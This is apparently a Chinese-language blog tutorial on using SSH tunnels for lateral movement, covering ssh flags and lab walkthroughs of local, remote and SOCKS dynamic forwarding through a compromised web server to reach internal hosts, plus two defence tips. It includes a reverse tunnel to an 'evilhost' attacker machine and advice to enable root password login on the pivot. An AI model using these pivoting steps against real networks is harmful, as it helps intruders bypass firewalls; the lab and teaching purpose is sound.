跳板攻击之:SSH 隧道

跳板攻击之:SSH 隧道

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 SSH 隧道原理

SSH 支持双向通信隧道,并会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。将其他 TCP 端口的通信通过 SSH 连接来转发,加密后的数据可以突破防火墙访问规则的限制。

# 建立SSH 隧道常用参数:

-C
    要求进行数据压缩 (包括 stdin, stdout, stderr 以及转发 X11 和 TCP/IP 连接 的数据). 压缩算法和 gzip(1) 的一样, 协议第一版中, 压缩级别 ``level 用 CompressionLevel 选项控制. 压缩技术在 modem 线路或其他慢速连接上很有用, 但是在高速网络上反而 可能降低速度. 可以在配置文件中对每个主机单独设定这个参数. 另见 Compression 选项.

-g
    允许远端主机连接本地转发的端口.即复用访问时作为网关,支持多主机访问本地侦听端口网关模式转发RDP、NC shell 

-n
    把 stdin 重定向到 /dev/null (实际上防止从 stdin 读取数据). 在后台运行时一定会用到这个选项. 它的常用技巧是远程运行 X11 程序. 例如, ssh -n shadows.cs.hut.fi emacs 将会在 shadows.cs.hut.fi 上启动 emacs, 同时自动在加密通道中转发 X11 连接. 在后台运行. (但是如果要求口令或密语, 这种方式就无法工作; 参见 -f 选项.)

-N
    不执行远程命令. 用于转发端口. (仅限协议第二版),即不执行登陆 shell

-f
    后台运行程序. 该选项隐含了 -n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 ssh -f host xterm 的命令.

-p port
    指定远程主机的端口. 可以在配置文件中对每个主机单独设定这个参数.

-q
    安静模式. 消除所有的警告和诊断信息.

-L port:host:hostport
    将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
    将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
    指定一个本地机器动态的应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-T
    禁止分配伪终端.

2 实验环境

2.1 本地端口转发

  • 效果类似于 rinetd,将一本地端口与远程服务器建立隧道 。
  • 端口转发基于建立起来的 SSH 隧道,隧道中断则端口转发中断。
  • 只能在建立隧道时创建转发,不能为已有隧道增加端口转发
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes 
- Port 22
- PasswordAuthentication yes 
service ssh restart 

#  -p 默认使用的 ssh 端口为 22
ssh -CfN -L <liste ip>:<liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
# 没有配置<liste ip>默认监听的是 WEB Server 的本地 127.0.0.1 地址(了解)。
ssh -CfN -L <liste port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>

2.1.1 本地端口转发利用方式

image-20220816104330499

  1. 恶意用户主机开启本地端口转发

    ┌──(root㉿kali)-[~]
    └─# ssh -CfN -L 0.0.0.0:8888:10.0.0.7:8080 root@192.168.50.4
    

    image-20220816103832072

  2. 恶意用户远程请求内网服务器 CVE-2018-1000006 POC

    http://127.0.0.1:8888/
    

    image-20220816103939805

2.2 远程端口转发

  • 由于 ACL 等原因,SSH 与应用连接建立方向相反
目标跳板机需要开启:
/etc/ssh/sshd_config
- PermitRootLogin yes 
- Port 22
- PasswordAuthentication yes 
service ssh restart 

# <SSH hostname> 为要将数据转发过去的主机, -p 默认使用的 ssh 端口为 22
ssh -CfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port>
ssh -qTfN -R <local port>:<remote host>:<remote port> <SSH evilhost> -p <ssh server port>

ssh –p 2222 web@127.0.0.1

2.2.1 远程端口转发利用方式

image-20210829133441388

  1. 恶意主机开启 SSH 服务

    ┌──(kali㉿kali)-[~]
    └─$ systemctl start ssh.service
    
  2. 远程登陆 WEB Server ,开启远程端口转发。

    firefart@metasploitable:~# ssh -CfN -R 2323:192.168.230.129:23 kali@192.168.0.2
    

    image-20210829142001575

    image-20210829143039793

  3. 恶意用户远程请求内网服务器 bulldog

    ┌──(kali㉿kali)-[~]
    └─$ ssh -p 2323 root@127.0.0.1 
    

    image-20210829142850643

2.3 动态端口转发(Socks 代理)

image-20210829133441388

  • 本地、远程端口转发都需要固定应用服务器IP、Port,存在应用端口繁多,逐个转发效率低;不支持不固定端口应用;当网站不支持 IP 直接访问时无法直接使用。
  • 使用非受信网络上网时保护流量不被嗅探
恶意用户与 WEB Server 建立动态端口转发:
ssh -CNfg -D <local listen port> user@<ssh server> -p <ssh server port>

恶意设置 socks 代理,即可访问内网服务器

2.3.1 动态端口转发利用方式

  1. 恶意主机开启动态端口转发

    ┌──(kali㉿kali)-[~]
    └─$ ssh -CNfg -D 1080 firefart@192.168.0.3 -p 22
    

    image-20210829144542128

  2. 应用程序设置 SOCKS 代理:

    image-20210829150444429

  3. 恶意用户远程请求内网服务器 bulldog

    http://192.168.230.129:8080/
    

    image-20210829145143162

3 防御 SSH 隧道攻击

  1. 配置 SSH 远程管理白名单。
  2. 在 ACL 中限制只有特定的 IP 地址才能连接 SSH。
posted @ 2022-08-16 10:08  f_carey  阅读(323)  评论(0编辑  收藏  举报